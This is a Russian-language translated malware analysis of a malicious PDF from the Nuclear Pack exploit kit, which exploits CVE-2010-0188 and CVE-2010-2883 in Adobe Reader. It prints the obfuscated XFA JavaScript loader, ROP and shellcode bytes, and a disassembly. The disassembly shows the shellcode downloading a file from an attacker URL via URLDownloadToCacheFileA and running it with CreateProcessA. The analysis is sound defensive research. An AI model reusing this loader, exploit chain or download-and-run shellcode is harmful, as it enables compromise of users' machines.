R0 CREW

Анализ PDF из Nuclear Pack EK и CVE-2010-0188 / CVE-2010-2883

Оригинал: quequero.org

Недавно в блоге Malwarebytes было опубликовано описание Nuclear Pack Exploit Kit, но там не было описания PDF эксплойта, который в нем использовался, поэтому мы решили это исправить.

Анализ PDF

Для того чтобы начать анализ используем peepdf:

Здесь есть два подозрительных объекта: поэтому давайте начнем с Object 1:

Object 1 содержит форму AcroForm, которая указывает на Object 3, который в свою очередь содержит XFA ключ, что может указывать на наличие потока (stream) или массива (array), содержащего XFA (Adobe XML Forms Architecture) ресурс.

Поэтому давайте посмотрим на Object 17, на который ссылается XFA:

<< /Length 20 0 R
/Filter /FlateDecode
 >>
stream
<?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd
p/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<linearized>3</linearized>
<interactive>1</interactive>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination></present></config>
<template>
<subform name="var_2_" layout="tb" locale="en_US">
<pageSet>
<pageArea id="var_3_" name="var_3_">
<contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/>
<medium long="797pt" short="617pt" stock="default"/>
</pageArea>
</pageSet>
<field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm">
<event activity="initialize" name="var_4_"><script contentType="application/x-ja
vascript">    var dcdc=' YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB
YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY
cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y
Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY,
YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY
nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY
YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi
YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY
 YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y
Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(
YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY&lt;YY&lt;YY1YY8YY YY|YY YYhYY2YY&lt;YY&lt
;YY1YY2YY YY|YY YYhYY3YY&lt;YY&lt;YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y
Y1YY6YY YY&amp;YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&amp;YY YY0YYxY
YfYYfYY;YYoYY3YY YY=YY YYbYY YY&amp;YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY
=YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY
YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6
YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY
oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY
YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY
YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY&lt;YY YYdYY.YYlYYeYYnYYgYYtYYhYY
)YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd
YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY
vYYaYYrYY1YY1YY1YY)YY;YY';    fgfg='xexvxaxl';oee=xfa.data.nodes.item(0);oee=oee
+'';fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]=='e'){zea=3}else{zea=4};asd=''
;taran='charAt';for (i=0;i&lt;dcdc.length;i +=zea){   asd +=dcdc[taran](i);};mox
='get';sox='tar'+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv
fv;};</script></event>
<ui><imageEdit/></ui>
</field>
</subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c
ontentCopy="1" documentAssembly="1" formFieldFilling="1" metadata="1" modifyAnno
ts="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var
_2_><var_1_/></var_2_></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>
endstream

Как можно видеть, это XML-дерево c JavaScript-кодом. Единственное интересное место здесь это то, как создается строка eval.

fgfg = 'xexvxaxl';
oee = xfa.data.nodes.item(0); //object XFAObject
oee = oee + ''; //oee has "[object XFAObject]" string
fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; //make "eval" string

Начав отладку PDF с помощью встроенного JavaScript отладчика, имеющегося в Acrobat, можно видеть, что переменная ooe, которая является массивом символов, содержит строку [object XFAObject]:

JavaScript-код из XFA, который в свою очередь вызывает eval(), генерирует другой js-код, в котором находится функция для декодирования закодировано base64-потока (base64_decode(d)) и вызов еще одной функции eval(). Для просмотра вывода этого js-кода, мы скопировали его в HTML-страницу и отладили с помощью Firebug:

Давайте теперь посмотрим на переменную asd:

function base64_decode(d) {
     var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
     var o1, o2, o3, h1, h2, h3, h4, b, i = 0,
         enc = "";
     do {
         ...
     } while (i < d.length);
     return enc;
 }
 var111 = base64_decode(event.target.info.doperza);
 event.target.eval(var111);

Итак, объект doperza декодируется и выполняется. Но где же находится doperza? Конечно, внутри PDF, но где? Давайте проверим второй encoded stream – Object 42:

PPDF> object 42

<< /Length 11088
/Filter /FlateDecode
 >>
stream
dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh
ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko
KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV
.....

MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw==
endstream

Давайте проверим ссылки на этот объект:

Итак, внутри Object 41, есть ключ doperza ссылающаяся на Object 42.

Теперь, после выполнения этого слоя, мы наконец-то можем получить код эксплойта. Он эксплуатирует CVE-2010-0188. Такой же код был найден Malware Must Die.

The only thing MalwareMustDie guys didn’t say was that the “ret” value is written in a XFA field element : “A field element is the workhorse of a template and represents a data-entry region” having imageEdit tag: “imageEdit widget that allows images (editable) to be supplied as URIs” , through var_1_ var which is the name of this field.

Анализ шеллкода

Эксплойт работает начиная с Adobe Reader 8.0 и до версии 9.3. Так же у него есть две версии шеллкодов: одна для версий от 8.0.0 до 8.2.01, а другая для версий от 8.2.01 до 9.3. Сначала разберемся с первой версией.

Последовательность действий эксплойта такая:

  1. Выполнение Heap Spray с заполнителем в виде шеллкода
  2. Эксплуатация бага LibTiff
  3. Выполнение шеллкода

Переменная foot (из JS-кода) имеет важное значение для выполнения второго пункта. Мы написали небольшой скрипт на питоне для исследования её кода:

import base64
import binascii
t = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK"
bytes = base64.b64decode(t)
binascii.hexlify(bytes)
'a3eb804a 3820824a 6e2f804a ffffffff 00000000 40000000 00000000 00100000 00000000 7e16804a 2020600f 7c10804a'

Кажется, её код использует ROP (Return Oriented Programming). На самом деле, отлаживая Adobe Reader 8, можно видеть, что адрес 0x4A80EBA3 это адрес из icucnv34.dll, в то время как адрес 0x4A822038 является указателем на функцию CreateFileMapping.

Поискав в интернете предыдущие анализы, нашелся пост в блоге contagio: в котором говорится, что здесь эксплуатируется CVE-2010-2883.

“ffffffff 00000000 40000000 00000000 00100000 00000000″ are the arguments to CreateFileMapping API.

Тут есть два интересных адреса 0x4080167C и 0x4080107D.

После выполнения инструкций по указанным выше адресам, регистр ESP будет указывать на область памяти начинающийся с адреса 0xF602020. В этой области находится содержимое переменной sc_hex, т.е. шеллкод. После вызова функции MapViewOfFIle, произойдет вызов функции memcpy, которая скопирует шеллкод в отображенную память и передаст на него управление. Шеллкод начинается с байтов 0xB083.

Еще один способ найти шеллкод – посмотреть на содержимое переменной sh_hex:

4c 20 60 0f 05 17 80 4a 3c 20 60 0f 0f 63 80 4a a3 eb 80 4a 30 20 82 4a 6e 2f 80 4a 41 41 41 41 
26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 39 80 4a 64 20 60 0f 00 04 00 00 41 41 41 41 
41 41 41 41 b0 83 90 90 eb 16 ....

Как можно видеть, есть несколько очень узнаваемых опкодов 0x90, 0xEB и сам шеллкод. Можем начать дизассемблировать код с 0xB083:

L_00000000:   mov al, 0x83
L_00000002:   nop 
L_00000003:   nop 
L_00000004:   jmp 0x1c
L_00000006:   mov ecx, 0x14c
L_0000000B:   mov esi, [esp]
L_0000000E:   mov edi, esi
L_00000010:   cmp byte [esi], 0xe9
L_00000013:   jz 0x1b
L_00000015:   lodsb 
L_00000016:   xor al, 0x8e
L_00000018:   stosb 
L_00000019:   loop 0x15
L_0000001B:   ret 
L_0000001C:   call 0x6 ; set the return addr to RVA 0x21

Здесь можно видеть код декриптора, после выполнения которого, сможем найти реальный код шеллкода:

L_00000021:   jmp 0x132
....
L_00000132:   call 0x26 ; save into stack the string pointed at 0x137
L_00000137:   "http://50d88d1ad05y.correctzoom.uni.me/f/1406197380/6"
L_00000026:   pop esi
L_00000027:   sub esp, 0x15c
L_0000002D:   mov edi, esp
L_0000002F:   lea ecx, [edi+0x10]
....s
L_0000004B:   push 0x6e6f ; push "on" string
L_00000050:   push 0x6d6c7275 ; push "urlm" string
L_00000055:   push esp ; get the pointer to "urlmon" string
L_00000056:   push 0xec0e4e8e ; "LoadLibraryA" encripted string
L_0000005B:   call 0xa8 ; get Kernel32 base address
L_00000060:   push eax ; push Kernel32 base
L_00000061:   call 0xe2 ; get LoadLibraryA API address
L_00000066:   call eax ; call LoadLibraryA with "urlmon" as argument
L_00000068:   add esp, 0x8
L_0000006B:   push 0x54fef4f ;"URLDownloadToCacheFileA" encrypted string
L_00000070:   push eax ; push urlmon base
L_00000071:   call 0xe2 ; get LoadLibraryA API address
L_00000076:   call eax ; call the API with string 0x137 as argument
L_00000078:   test eax, eax 
L_0000007A:   jnz 0x93 ; jump on error if URLDownloadToCacheFileA API returns E_FAIL
L_0000007C:   push 0x54
L_0000007E:   pop ecx
L_0000007F:   rep stosb 
L_00000081:   push 0x16b3fe72 ; "CreateProcessA" encripted string
L_00000086:   call 0xa8 ; get Kernel32 base address
L_0000008B:   push eax
L_0000008C:   call 0xe2 ; get LoadLibraryA API address
L_00000091:   call eax ; call API
L_00000093:   push ebx
L_00000094:   push -0x2
L_00000096:   push 0xbd016f89 ; "TerminateThread" encripted string
L_0000009B:   call 0xa8 ; get Kernel32 base address
L_000000A0:   push eax 
L_000000A1:   call 0xe2 ; get LoadLibraryA API address
L_000000A6:   call eax ; call API

После вызова TerminateThread, эксплойт скрывает экземпляр Adobe Reader. Он продолжает выполнятся, но без GUI.

Второй шеллкод работает тем же образом, что и первый, единственное отличие заключается в использовании библиотеки icucnv36.dll вместо icucnv34.dll, которые используются для конструирования ROP-цепочки.

Чтобы узнать, какой файл загружает шеллкод, обратитесь к этому посту от Malwarebytes.

Здесь вы можете найти весь расшифрованный код эксплойта без мусорного кода (пароль, как обычно: infected).

© Translated by Prosper-H from r0 Crew